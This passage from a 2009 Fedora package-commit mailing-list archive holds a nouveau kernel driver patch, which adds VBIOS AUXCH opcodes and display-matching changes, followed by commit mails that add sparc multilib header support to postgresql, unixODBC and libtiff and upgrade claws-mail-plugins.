-+	BIOS_USLEEP(time);
++	if (time < 1000)
++		udelay(time);
++	else
++		msleep((time + 900) / 1000);
 +
 +	return true;
 +}
@@ -4534,6 +4556,134 @@ index 0000000..7a55199
 +	return true;
 +}
 +
++static int
++nouveau_dp_auxch_rd(struct nouveau_i2c_chan *auxch, int cmd, int addr,
++		    uint8_t buf[16], int len)
++{
++	NV_ERROR(auxch->dev, "auxch_rd: stub!\n");
++	return -ENODEV;
++}
++
++static int
++nouveau_dp_auxch_wr(struct nouveau_i2c_chan *auxch, int cmd, int addr,
++		    uint8_t buf[16], int len)
++{
++	NV_ERROR(auxch->dev, "auxch_wr: stub!\n");
++	return -ENODEV;
++}
++
++static bool
++init_auxch(struct nvbios *bios, uint16_t offset, struct init_exec *iexec)
++{
++	/*
++	 * INIT_AUXCH   opcode: 0x98 ('')
++	 *
++	 * offset      (8  bit): opcode
++	 * offset + 1  (32 bit): address
++	 * offset + 5  (8  bit): count
++	 * offset + 6  (8  bit): mask 0
++	 * offset + 7  (8  bit): data 0
++	 *  ...
++	 *
++	 */
++
++	struct drm_device *dev = bios->dev;
++	struct nouveau_i2c_chan *auxch;
++	uint32_t addr = ROM32(bios->data[offset + 1]);
++	uint8_t len = bios->data[offset + 5];
++	uint8_t buf[16];
++	int ret, i;
++
++	if (len > 16) {
++		NV_ERROR(dev, "INIT_AUXCH: >16 byte xfer unimplemented!\n");
++		return false;
++	}
++
++	if (!bios->display.output) {
++		NV_ERROR(dev, "INIT_AUXCH: no active output\n");
++		return false;
++	}
++
++	auxch = init_i2c_device_find(dev, bios->display.output->i2c_index);
++	if (!auxch) {
++		NV_ERROR(dev, "INIT_AUXCH: couldn't get auxch %d\n",
++			 bios->display.output->i2c_index);
++		return false;
++	}
++
++	if (!iexec->execute)
++		return true;
++
++	ret = nouveau_dp_auxch_rd(auxch, 9, addr, buf, len);
++	if (ret) {
++		NV_ERROR(dev, "INIT_AUXCH: rd auxch fail %d\n", ret);
++		return false;
++	}
++
++	offset += 6;
++	for (i = 0; i < len; i++, offset += 2) {
++		buf[i] &= bios->data[offset + 0];
++		buf[i] |= bios->data[offset + 1];
++	}
++
++	ret = nouveau_dp_auxch_wr(auxch, 8, addr, buf, len);
++	if (ret) {
++		NV_ERROR(dev, "INIT_AUXCH: wr auxch fail %d\n", ret);
++		return false;
++	}
++
++	return true;
++}
++
++static bool
++init_zm_auxch(struct nvbios *bios, uint16_t offset, struct init_exec *iexec)
++{
++	/*
++	 * INIT_ZM_AUXCH   opcode: 0x99 ('')
++	 *
++	 * offset      (8  bit): opcode
++	 * offset + 1  (32 bit): address
++	 * offset + 5  (8  bit): count
++	 * offset + 6  (8  bit): data 0
++	 *  ...
++	 *
++	 */
++
++	struct drm_device *dev = bios->dev;
++	struct nouveau_i2c_chan *auxch;
++	uint32_t addr = ROM32(bios->data[offset + 1]);
++	uint8_t len = bios->data[offset + 5];
++	int ret;
++
++	if (len > 16) {
++		NV_ERROR(dev, "INIT_ZM_AUXCH: >16 byte xfer unimplemented!\n");
++		return false;
++	}
++
++	if (!bios->display.output) {
++		NV_ERROR(dev, "INIT_ZM_AUXCH: no active output\n");
++		return false;
++	}
++
++	auxch = init_i2c_device_find(dev, bios->display.output->i2c_index);
++	if (!auxch) {
++		NV_ERROR(dev, "INIT_ZM_AUXCH: couldn't get auxch %d\n",
++			 bios->display.output->i2c_index);
++		return false;
++	}
++
++	if (!iexec->execute)
++		return true;
++
++	ret = nouveau_dp_auxch_wr(auxch, 8, addr, &bios->data[offset + 6], len);
++	if (ret) {
++		NV_ERROR(dev, "INIT_ZM_AUXCH: wr auxch fail %d\n", ret);
++		return false;
++	}
++
++	return true;
++}
++
 +static struct init_tbl_entry itbl_entry[] = {
 +	/* command name                       , id  , length  , offset  , mult    , command handler                 */
 +	/* INIT_PROG (0x31, 15, 10, 4) removed due to no example of use */
@@ -4590,6 +4740,8 @@ index 0000000..7a55199
 +	{ "INIT_RESERVED"                     , 0x92, 1       , 0       , 0       , init_reserved                   },
 +	{ "INIT_96"                           , 0x96, 17      , 0       , 0       , init_96                         },
 +	{ "INIT_97"                           , 0x97, 13      , 0       , 0       , init_97                         },
++	{ "INIT_AUXCH"                        , 0x98, 6       , 5       , 2       , init_auxch                      },
++	{ "INIT_ZM_AUXCH"                     , 0x99, 6       , 5       , 1       , init_zm_auxch                   },
 +	{ NULL                                , 0   , 0       , 0       , 0       , NULL                            }
 +};
 +
@@ -4750,9 +4902,10 @@ index 0000000..7a55199
 +
 +	run_digital_op_script(dev, scriptofs, dcbent, head, bios->fp.dual_link);
 +
-+	if (script == LVDS_PANEL_OFF)
++	if (script == LVDS_PANEL_OFF) {
 +		/* off-on delay in ms */
-+		BIOS_USLEEP(ROM16(bios->data[bios->fp.xlated_entry + 7]));
++		msleep(ROM16(bios->data[bios->fp.xlated_entry + 7]));
++	}
 +#ifdef __powerpc__
 +	/* Powerbook specific quirks */
 +	if (script == LVDS_RESET && ((dev->pci_device & 0xffff) == 0x0179 || (dev->pci_device & 0xffff) == 0x0329))
@@ -5263,6 +5416,40 @@ index 0000000..7a55199
 +	return 0;
 +}
 +
++static uint8_t *
++bios_output_config_match(struct drm_device *dev, struct dcb_entry *dcbent,
++			 uint16_t record, int record_len, int record_nr)
++{
++	struct drm_nouveau_private *dev_priv = dev->dev_private;
++	struct nvbios *bios = &dev_priv->VBIOS;
++	uint32_t entry;
++	uint16_t table;
++	int i, v;
++
++	for (i = 0; i < record_nr; i++, record += record_len) {
++		table = ROM16(bios->data[record]);
++		if (!table)
++			continue;
++		entry = ROM32(bios->data[table]);
++
++		v = (entry & 0x000f0000) >> 16;
++		if (!(v & dcbent->or))
++			continue;
++
++		v = (entry & 0x000000f0) >> 4;
++		if (v != dcbent->location)
++			continue;
++
++		v = (entry & 0x0000000f);
++		if (v != dcbent->type)
++			continue;
++
++		return &bios->data[table];
++	}
++
++	return NULL;
++}
++
 +int
 +nouveau_bios_run_display_table(struct drm_device *dev, struct dcb_entry *dcbent,
 +			       uint32_t sub, int pxclk)
@@ -5294,9 +5481,9 @@ index 0000000..7a55199
 +	struct init_exec iexec = {true, false};
 +	struct nvbios *bios = &dev_priv->VBIOS;
 +	uint8_t *table = &bios->data[bios->display.script_table_ptr];
-+	uint8_t *entry, *otable = NULL;
++	uint8_t *otable = NULL;
 +	uint16_t script;
-+	int i;
++	int i = 0;
 +
 +	if (!bios->display.script_table_ptr) {
 +		NV_ERROR(dev, "No pointer to output script table\n");
@@ -5348,23 +5535,10 @@ index 0000000..7a55199
 +
 +	NV_DEBUG(dev, "Searching for output entry for %d %d %d\n",
 +			dcbent->type, dcbent->location, dcbent->or);
-+	entry = table + table[1];
-+	for (i = 0; i < table[3]; i++, entry += table[2]) {
-+		uint32_t match;
-+
-+		if (ROM16(entry[0]) == 0)
-+			continue;
-+		otable = &bios->data[ROM16(entry[0])];
-+		match = ROM32(otable[0]);
-+
-+		NV_DEBUG(dev, " %d: 0x%08x\n", i, match);
-+		if ((((match & 0x000f0000) >> 16)  & dcbent->or) &&
-+		     ((match & 0x0000000f) >>  0) == dcbent->type &&
-+		     ((match & 0x000000f0) >>  4) == dcbent->location)
-+			break;
-+	}
-+
-+	if (i == table[3]) {
++	otable = bios_output_config_match(dev, dcbent, table[1] +
++					  bios->display.script_table_ptr,
++					  table[2], table[3]);
++	if (!otable) {
 +		NV_ERROR(dev, "Couldn't find matching output script table\n");
 +		return 1;
 +	}
@@ -5384,7 +5558,7 @@ index 0000000..7a55199
 +		}
 +	}
 +
-+	bios->display.head = ffs(dcbent->or) - 1;
++	bios->display.output = dcbent;
 +
 +	if (pxclk == 0) {
 +		script = ROM16(otable[6]);
@@ -7131,6 +7305,16 @@ index 0000000..7a55199
 +	return bios->fp.edid = &bios->data[offset];
 +}
 +
++void
++nouveau_bios_run_init_table(struct drm_device *dev, uint16_t table)
++{
++	struct drm_nouveau_private *dev_priv = dev->dev_private;
++	struct nvbios *bios = &dev_priv->VBIOS;
++	struct init_exec iexec = { true, false };
++
++	parse_init_table(bios, table, &iexec);
++}
++
 +static bool NVInitVBIOS(struct drm_device *dev)
 +{
 +	struct drm_nouveau_private *dev_priv = dev->dev_private;
@@ -7308,7 +7492,7 @@ index 0000000..7a55199
 +}
 diff --git a/drivers/gpu/drm/nouveau/nouveau_bios.h b/drivers/gpu/drm/nouveau/nouveau_bios.h
 new file mode 100644
-index 0000000..33f3172
+index 0000000..1ffda97
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_bios.h
 @@ -0,0 +1,236 @@
@@ -7504,7 +7688,7 @@ index 0000000..33f3172
 +	} state;
 +
 +	struct {
-+		int head;
++		struct dcb_entry *output;
 +		uint16_t script_table_ptr;
 +	} display;
 +
@@ -9278,10 +9462,10 @@ index 0000000..8e7a9fe
 +int nouveau_max_ioctl = DRM_ARRAY_SIZE(nouveau_ioctls);
 diff --git a/drivers/gpu/drm/nouveau/nouveau_connector.c b/drivers/gpu/drm/nouveau/nouveau_connector.c
 new file mode 100644
-index 0000000..9a233e0
+index 0000000..81774a5
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_connector.c
-@@ -0,0 +1,781 @@
+@@ -0,0 +1,811 @@
 +/*
 + * Copyright (C) 2008 Maarten Maathuis.
 + * All Rights Reserved.
@@ -9532,6 +9716,10 @@ index 0000000..9a233e0
 +			NV_ERROR(dev, "DDC responded, but no EDID for %s\n",
 +				 drm_get_connector_name(connector));
 +			return connector_status_disconnected;
++		} else
++		if (connector->connector_type == DRM_MODE_CONNECTOR_DisplayPort) {
++			NV_ERROR(dev, "Detected DP connected, ignoring!\n");
++			return connector_status_disconnected;
 +		}
 +
 +		/* Override encoder type for DVI-I based on whether EDID
@@ -9691,14 +9879,40 @@ index 0000000..9a233e0
 +nouveau_connector_native_mode(struct nouveau_connector *connector)
 +{
 +	struct drm_device *dev = connector->base.dev;
-+	struct drm_display_mode *mode;
++	struct drm_display_mode *mode, *largest = NULL;
++	int high_w = 0, high_h = 0, high_v = 0;
 +
++	/* Use preferred mode if there is one.. */
 +	list_for_each_entry(mode, &connector->base.probed_modes, head) {
-+		if (mode->type & DRM_MODE_TYPE_PREFERRED)
++		if (mode->type & DRM_MODE_TYPE_PREFERRED) {
++			NV_DEBUG(dev, "native mode from preferred\n");
 +			return drm_mode_duplicate(dev, mode);
++		}
 +	}
 +
-+	return NULL;
++	/* Otherwise, take the resolution with the largest width, then height,
++	 * then vertical refresh
++	 */
++	list_for_each_entry(mode, &connector->base.probed_modes, head) {
++		if (mode->hdisplay < high_w)
++			continue;
++
++		if (mode->hdisplay == high_w && mode->vdisplay < high_h)
++			continue;
++
++		if (mode->hdisplay == high_w && mode->vdisplay == high_h &&
++		    mode->vrefresh < high_v)
++			continue;
++
++		high_w = mode->hdisplay;
++		high_h = mode->vdisplay;
++		high_v = mode->vrefresh;
++		largest = mode;
++	}
++
++	NV_DEBUG(dev, "native mode from largest: %dx%d@%d\n",
++		      high_w, high_h, high_v);
++	return largest ? drm_mode_duplicate(dev, largest) : NULL;
 +}
 +
 +struct moderec {
@@ -10227,10 +10441,10 @@ index 0000000..49fa7b2
 +#endif /* __NOUVEAU_CRTC_H__ */
 diff --git a/drivers/gpu/drm/nouveau/nouveau_debugfs.c b/drivers/gpu/drm/nouveau/nouveau_debugfs.c
 new file mode 100644
-index 0000000..1ac871b
+index 0000000..6ccafd3
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_debugfs.c
-@@ -0,0 +1,157 @@
+@@ -0,0 +1,155 @@
 +/*
 + * Copyright (C) 2009 Red Hat <bskeggs at redhat.com>
 + *
@@ -10266,7 +10480,6 @@ index 0000000..1ac871b
 +#include "drmP.h"
 +#include "nouveau_drv.h"
 +
-+#if defined(CONFIG_DEBUG_FS)
 +static int
 +nouveau_debugfs_channel_info(struct seq_file *m, void *data)
 +{
@@ -10387,7 +10600,6 @@ index 0000000..1ac871b
 +	drm_debugfs_remove_files(nouveau_debugfs_list, NOUVEAU_DEBUGFS_ENTRIES,
 +				 minor);
 +}
-+#endif
 diff --git a/drivers/gpu/drm/nouveau/nouveau_display.c b/drivers/gpu/drm/nouveau/nouveau_display.c
 new file mode 100644
 index 0000000..dfc9439
@@ -10880,7 +11092,7 @@ index 0000000..2edd38d
 +#endif
 diff --git a/drivers/gpu/drm/nouveau/nouveau_drv.c b/drivers/gpu/drm/nouveau/nouveau_drv.c
 new file mode 100644
-index 0000000..a251712
+index 0000000..d97daf7
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_drv.c
 @@ -0,0 +1,413 @@
@@ -11215,7 +11427,7 @@ index 0000000..a251712
 +	.lastclose = nouveau_lastclose,
 +	.unload = nouveau_unload,
 +	.preclose = nouveau_preclose,
-+#if defined(CONFIG_DEBUG_FS)
++#if defined(CONFIG_DRM_NOUVEAU_DEBUG)
 +	.debugfs_init = nouveau_debugfs_init,
 +	.debugfs_cleanup = nouveau_debugfs_takedown,
 +#endif
@@ -11299,10 +11511,10 @@ index 0000000..a251712
 +MODULE_LICENSE("GPL and additional rights");
 diff --git a/drivers/gpu/drm/nouveau/nouveau_drv.h b/drivers/gpu/drm/nouveau/nouveau_drv.h
 new file mode 100644
-index 0000000..7e8ab42
+index 0000000..08112c9
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nouveau_drv.h
-@@ -0,0 +1,1282 @@
+@@ -0,0 +1,1283 @@
 +/*
 + * Copyright 2005 Stephane Marchesin.
 + * All Rights Reserved.
@@ -12073,7 +12285,7 @@ index 0000000..7e8ab42
 +extern struct ttm_backend *nouveau_sgdma_init_ttm(struct drm_device *);
 +
 +/* nouveau_debugfs.c */
-+#if defined(CONFIG_DEBUG_FS)
++#if defined(CONFIG_DRM_NOUVEAU_DEBUG)
 +extern int  nouveau_debugfs_init(struct drm_minor *);
 +extern void nouveau_debugfs_takedown(struct drm_minor *);
 +extern int  nouveau_debugfs_channel_init(struct nouveau_channel *);
@@ -12137,6 +12349,7 @@ index 0000000..7e8ab42
 +extern int nouveau_bios_init(struct drm_device *);
 +extern void nouveau_bios_takedown(struct drm_device *dev);
 +extern int nouveau_run_vbios_init(struct drm_device *);
++extern void nouveau_bios_run_init_table(struct drm_device *, uint16_t table);
 +extern int get_pll_limits(struct drm_device *, uint32_t limit_match,
 +			  struct pll_lims *);
 +extern int nouveau_bios_run_display_table(struct drm_device *,
@@ -32673,7 +32886,7 @@ index 0000000..1f82587
 +
 diff --git a/drivers/gpu/drm/nouveau/nv50_dac.c b/drivers/gpu/drm/nouveau/nv50_dac.c
 new file mode 100644
-index 0000000..5ba5139
+index 0000000..3233926
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_dac.c
 @@ -0,0 +1,295 @@
@@ -32896,10 +33109,10 @@ index 0000000..5ba5139
 +		mode_ctl |= NV50_EVO_DAC_MODE_CTRL_CRTC0;
 +
 +	/* Lacking a working tv-out, this is not a 100% sure. */
-+	if (to_drm_encoder(encoder)->encoder_type == DRM_MODE_ENCODER_DAC)
++	if (encoder->dcb->type == OUTPUT_ANALOG)
 +		mode_ctl |= 0x40;
 +	else
-+	if (to_drm_encoder(encoder)->encoder_type == DRM_MODE_ENCODER_TVDAC)
++	if (encoder->dcb->type == OUTPUT_TV)
 +		mode_ctl |= 0x100;
 +
 +	if (adjusted_mode->flags & DRM_MODE_FLAG_NHSYNC)
@@ -58152,10 +58365,10 @@ index 0000000..e0a9c3f
 +}
 diff --git a/drivers/gpu/drm/nouveau/nv50_sor.c b/drivers/gpu/drm/nouveau/nv50_sor.c
 new file mode 100644
-index 0000000..a2dee96
+index 0000000..fe69476
 --- /dev/null
 +++ b/drivers/gpu/drm/nouveau/nv50_sor.c
-@@ -0,0 +1,250 @@
+@@ -0,0 +1,254 @@
 +/*
 + * Copyright (C) 2008 Maarten Maathuis.
 + * All Rights Reserved.
@@ -58304,10 +58517,14 @@ index 0000000..a2dee96
 +
 +	nv50_sor_dpms(drm_encoder, DRM_MODE_DPMS_ON);
 +
-+	if (to_drm_encoder(encoder)->encoder_type != DRM_MODE_ENCODER_LVDS) {
++	switch (encoder->dcb->type) {
++	case OUTPUT_TMDS:
 +		mode_ctl |= NV50_EVO_SOR_MODE_CTRL_TMDS;
 +		if (adjusted_mode->clock > 165000)
 +			mode_ctl |= NV50_EVO_SOR_MODE_CTRL_TMDS_DUAL_LINK;
++		break;
++	default:
++		break;
 +	}
 +
 +	if (crtc->index == 1)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1869
retrieving revision 1.1870
diff -u -p -r1.1869 -r1.1870
--- kernel.spec	14 Oct 2009 21:45:33 -0000	1.1869
+++ kernel.spec	16 Oct 2009 03:47:52 -0000	1.1870
@@ -2057,6 +2057,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 16 2009 Ben Skeggs <bskeggs at redhat.com> 2.6.31.4-84
+- nouveau: more vbios opcodes, minor fixes, hopeful fix for rh#529292
+
 * Wed Oct 14 2009 Roland McGrath <roland at redhat.com> 2.6.31.4-83
 - Remove work-around for gcc bug #521991, now fixed.
 - Build *docs non-parallel, working around kernel's makefile bugs.



From tgl at fedoraproject.org  Fri Oct 16 03:47:53 2009
From: tgl at fedoraproject.org (Tom Lane)
Date: Fri, 16 Oct 2009 03:47:53 +0000 (UTC)
Subject: rpms/postgresql/devel ecpg_config.h, 1.1, 1.2 pg_config.h, 1.3,
	1.4 postgresql.spec, 1.120, 1.121
Message-ID: <20091016034753.986FE11C00DB@cvs1.fedora.phx.redhat.com>

Author: tgl

Update of /cvs/pkgs/rpms/postgresql/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4804

Modified Files:
	ecpg_config.h pg_config.h postgresql.spec 
Log Message:
add sparc/sparc64 to multilib header support


Index: ecpg_config.h
===================================================================
RCS file: /cvs/pkgs/rpms/postgresql/devel/ecpg_config.h,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ecpg_config.h	4 Sep 2007 17:26:37 -0000	1.1
+++ ecpg_config.h	16 Oct 2009 03:47:51 -0000	1.2
@@ -22,4 +22,8 @@
 #include "ecpg_config_s390x.h"
 #elif defined(__s390__)
 #include "ecpg_config_s390.h"
+#elif defined(__sparc__) && defined(__arch64__)
+#include "ecpg_config_sparc64.h"
+#elif defined(__sparc__)
+#include "ecpg_config_sparc.h"
 #endif


Index: pg_config.h
===================================================================
RCS file: /cvs/pkgs/rpms/postgresql/devel/pg_config.h,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pg_config.h	13 Feb 2006 15:53:02 -0000	1.3
+++ pg_config.h	16 Oct 2009 03:47:52 -0000	1.4
@@ -22,4 +22,8 @@
 #include "pg_config_s390x.h"
 #elif defined(__s390__)
 #include "pg_config_s390.h"
+#elif defined(__sparc__) && defined(__arch64__)
+#include "pg_config_sparc64.h"
+#elif defined(__sparc__)
+#include "pg_config_sparc.h"
 #endif


Index: postgresql.spec
===================================================================
RCS file: /cvs/pkgs/rpms/postgresql/devel/postgresql.spec,v
retrieving revision 1.120
retrieving revision 1.121
diff -u -p -r1.120 -r1.121
--- postgresql.spec	22 Sep 2009 00:45:57 -0000	1.120
+++ postgresql.spec	16 Oct 2009 03:47:52 -0000	1.121
@@ -60,8 +60,9 @@ Summary: PostgreSQL client programs and 
 Name: postgresql
 %define majorversion 8.4
 Version: 8.4.1
-Release: 3%{?dist}
-# PG considers their license to be simplified BSD, but it's more nearly MIT
+Release: 4%{?dist}
+# PostgreSQL calls their license simplified BSD, but the requirements are
+# more similar to other MIT licenses.
 License: MIT
 Group: Applications/Databases
 Url: http://www.postgresql.org/ 
@@ -478,7 +479,7 @@ make -C contrib DESTDIR=$RPM_BUILD_ROOT 
 # multilib header hack; note pg_config.h is installed in two places!
 # we only apply this to known Red Hat multilib arches, per bug #177564
 case `uname -i` in
-  i386 | x86_64 | ppc | ppc64 | s390 | s390x)
+  i386 | x86_64 | ppc | ppc64 | s390 | s390x | sparc | sparc64 )
     mv $RPM_BUILD_ROOT/usr/include/pg_config.h $RPM_BUILD_ROOT/usr/include/pg_config_`uname -i`.h
     install -m 644 %{SOURCE5} $RPM_BUILD_ROOT/usr/include/
     mv $RPM_BUILD_ROOT/usr/include/pgsql/server/pg_config.h $RPM_BUILD_ROOT/usr/include/pgsql/server/pg_config_`uname -i`.h
@@ -854,6 +855,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Thu Oct 15 2009 Tom Lane <tgl at redhat.com> 8.4.1-4
+- add sparc/sparc64 to multilib header support
+
 * Mon Sep 21 2009 Tom Lane <tgl at redhat.com> 8.4.1-3
 - Ensure pgstartup.log gets the right ownership/permissions during initdb
 Resolves: #498959



From tgl at fedoraproject.org  Fri Oct 16 03:57:02 2009
From: tgl at fedoraproject.org (Tom Lane)
Date: Fri, 16 Oct 2009 03:57:02 +0000 (UTC)
Subject: rpms/unixODBC/devel conffile.h,1.2,1.3 unixODBC.spec,1.51,1.52
Message-ID: <20091016035703.0126911C00DB@cvs1.fedora.phx.redhat.com>

Author: tgl

Update of /cvs/pkgs/rpms/unixODBC/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6971

Modified Files:
	conffile.h unixODBC.spec 
Log Message:
Clean up bogosity in multilib stub header support


Index: conffile.h
===================================================================
RCS file: /cvs/pkgs/rpms/unixODBC/devel/conffile.h,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- conffile.h	6 Jun 2009 19:35:44 -0000	1.2
+++ conffile.h	16 Oct 2009 03:57:02 -0000	1.3
@@ -4,13 +4,14 @@
  * identical.  Hence, this file is architecture-independent and calls
  * in an arch-dependent file that will appear in just one RPM.
  *
+ * To avoid breaking arches not explicitly supported by Red Hat, we
+ * use this indirection file *only* on known multilib arches.
+ *
  * Note: this may well fail if user tries to use gcc's -I- option.
  * But that option is deprecated anyway.
  */
 #if defined(__x86_64__)
 #include "CONFFILE_x86_64.h"
-#elif defined(__ia64__)
-#include "CONFFILE_ia64.h"
 #elif defined(__i386__)
 #include "CONFFILE_i386.h"
 #elif defined(__ppc64__) || defined(__powerpc64__)


Index: unixODBC.spec
===================================================================
RCS file: /cvs/pkgs/rpms/unixODBC/devel/unixODBC.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- unixODBC.spec	21 Aug 2009 20:31:26 -0000	1.51
+++ unixODBC.spec	16 Oct 2009 03:57:02 -0000	1.52
@@ -1,7 +1,7 @@
 Summary: A complete ODBC driver manager for Linux
 Name: unixODBC
 Version: 2.2.14
-Release: 6%{?dist}
+Release: 7%{?dist}
 Group: System Environment/Libraries
 URL: http://www.unixODBC.org/
 # Programs are GPL, libraries are LGPL, except News Server library is GPL.
@@ -111,7 +111,7 @@ desktop-file-install --dir=$RPM_BUILD_RO
 # multilib header hacks
 # we only apply this to known Red Hat multilib arches, per bug #181335
 case `uname -i` in
-  i386 | x86_64 | ppc | ppc64 | s390 | s390x | sparc | sparcv9 | sparc64 )
+  i386 | x86_64 | ppc | ppc64 | s390 | s390x | sparc | sparc64 )
     mv $RPM_BUILD_ROOT%{_includedir}/unixodbc_conf.h $RPM_BUILD_ROOT%{_includedir}/unixodbc_conf_`uname -i`.h
     rm -f unixodbc_conf.h
     sed s/CONFFILE/unixodbc_conf/ %{SOURCE4} >unixodbc_conf.h
@@ -183,6 +183,10 @@ rm -rf $RPM_BUILD_ROOT
 %postun -p /sbin/ldconfig
 
 %changelog
+* Thu Oct 15 2009 Tom Lane <tgl at redhat.com> 2.2.14-7
+- Clean up bogosity in multilib stub header support: ia64 should not be
+  listed (it's not multilib), sparcv9 isn't a possible uname -i output
+
 * Fri Aug 21 2009 Tom Lane <tgl at redhat.com> 2.2.14-6
 - Switch to building against qt4, not qt3.  This means the DataManager,
   DataManagerII, and odbctest applications are gone.



From tgl at fedoraproject.org  Fri Oct 16 04:08:23 2009
From: tgl at fedoraproject.org (Tom Lane)
Date: Fri, 16 Oct 2009 04:08:23 +0000 (UTC)
Subject: rpms/libtiff/devel libtiff.spec,1.56,1.57
Message-ID: <20091016040823.F16CB11C0267@cvs1.fedora.phx.redhat.com>

Author: tgl

Update of /cvs/pkgs/rpms/libtiff/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26496

Modified Files:
	libtiff.spec 
Log Message:
add sparc/sparc64 to multilib header support


Index: libtiff.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libtiff/devel/libtiff.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- libtiff.spec	25 Jul 2009 08:45:40 -0000	1.56
+++ libtiff.spec	16 Oct 2009 04:08:23 -0000	1.57
@@ -1,7 +1,7 @@
 Summary: Library of functions for manipulating TIFF format image files
 Name: libtiff
 Version: 3.8.2
-Release: 15%{?dist}
+Release: 16%{?dist}
 License: libtiff
 Group: System Environment/Libraries
 URL: http://www.remotesensing.org/libtiff/
@@ -93,10 +93,10 @@ rm -f html/man/tiffsv.1.html
 # multilib header hack
 # we only apply this to known Red Hat multilib arches, per bug #233091
 case `uname -i` in
-  i386 | ppc | s390)
+  i386 | ppc | s390 | sparc )
     wordsize="32"
     ;;
-  x86_64 | ppc64 | s390x)
+  x86_64 | ppc64 | s390x | sparc64 )
     wordsize="64"
     ;;
   *)
@@ -159,6 +159,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.a
 
 %changelog
+* Thu Oct 15 2009 Tom Lane <tgl at redhat.com> 3.8.2-16
+- add sparc/sparc64 to multilib header support
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.8.2-15
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From awjb at fedoraproject.org  Fri Oct 16 04:23:06 2009
From: awjb at fedoraproject.org (Andreas Bierfert)
Date: Fri, 16 Oct 2009 04:23:06 +0000 (UTC)
Subject: rpms/claws-mail-plugins/F-10 .cvsignore, 1.21,
	1.22 claws-mail-plugins.spec, 1.41, 1.42 sources, 1.21, 1.22
Message-ID: <20091016042307.0835311C00E5@cvs1.fedora.phx.redhat.com>

Author: awjb

Update of /cvs/pkgs/rpms/claws-mail-plugins/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4986/F-10

Modified Files:
	.cvsignore claws-mail-plugins.spec sources 
Log Message:
- version upgrade



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-10/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	7 Jul 2009 04:42:01 -0000	1.21
+++ .cvsignore	16 Oct 2009 04:23:05 -0000	1.22
@@ -1 +1 @@
-claws-mail-extra-plugins-3.7.2.tar.bz2
+claws-mail-extra-plugins-3.7.3.tar.bz2


Index: claws-mail-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/claws-mail-plugins/F-10/claws-mail-plugins.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- claws-mail-plugins.spec	21 Jul 2009 15:40:52 -0000	1.41
+++ claws-mail-plugins.spec	16 Oct 2009 04:23:05 -0000	1.42
@@ -3,21 +3,23 @@
 %define archive		0.6.5
 %define attachwarner    0.2.17
 %define attremover	1.0.10
+%define bsfilter        1.0.2
 %define cachesaver	0.10.9
 %define fetchinfo	0.4.24
-%define gtkhtml2viewer  0.24
+%define gtkhtml2viewer  0.25
 %define mailmbox	1.14.3
 %define newmail		0.0.15
-%define notification	0.22
-%define perl		0.9.15
+%define notification	0.23
+%define perl		0.9.16
+%define python          0.2
 %define rssyl		0.25
 %define spamreport      0.3.9
 %define synce		0.7.5
-%define tnef            0.3.5
-%define vcalendar	2.0.5
+%define tnef            0.3.6
+%define vcalendar	2.0.6
 
 Name:           claws-mail-plugins
-Version:        3.7.2
+Version:        3.7.3
 Release:        1%{?dist}
 Summary:        Additional plugins for claws-mail
 
@@ -43,13 +45,17 @@ BuildRequires:  libarchive-devel
 BuildRequires:  libytnef-devel
 BuildRequires:  ghostscript
 BuildRequires:  enchant-devel
+BuildRequires:  webkitgtk-devel
 # fix #496149
 BuildRequires:  libnotify-devel
+BuildRequires:  python python-devel pygtk2-devel
+BuildRequires:  libcanberra-devel
 
 Requires:       %{name}-acpi-notifier = %{version}-%{release}
 Requires:       %{name}-archive = %{version}-%{release}
 Requires:       %{name}-att-remover = %{version}-%{release}
 Requires:       %{name}-attachwarner = %{version}-%{release}
+Requires:       %{name}-bsfilter = %{version}-%{release}
 Requires:       %{name}-cachesaver = %{version}-%{release}
 Obsoletes:      %{name}-etpan-privacy < %{version}-%{release}
 Requires:       %{name}-fetchinfo = %{version}-%{release}
@@ -59,6 +65,7 @@ Requires:       %{name}-mailmbox = %{ver
 Requires:       %{name}-newmail = %{version}-%{release}
 Requires:       %{name}-notification = %{version}-%{release}
 Requires:       %{name}-perl = %{version}-%{release}
+Requires:       %{name}-python = %{version}-%{release}
 Requires:       %{name}-rssyl = %{version}-%{release}
 Requires:       %{name}-spam-report = %{version}-%{release}
 Requires:       %{name}-synce = %{version}-%{release}
@@ -121,6 +128,13 @@ Obsoletes:      sylpheed-claws-plugins-a
 Enables the removal of attachments from emails.When right-clicking a message,
 choose 'Remove attachments' from the submenu.
 
+%package bsfilter
+Summary:        Bayesian spam filtering for claws-mail
+Group:          Applications/Internet
+Requires:	claws-mail >= %{version}
+
+%description bsfilter
+Bayesian spam filtering for claws-mail using Bsfilter.
 
 %package cachesaver
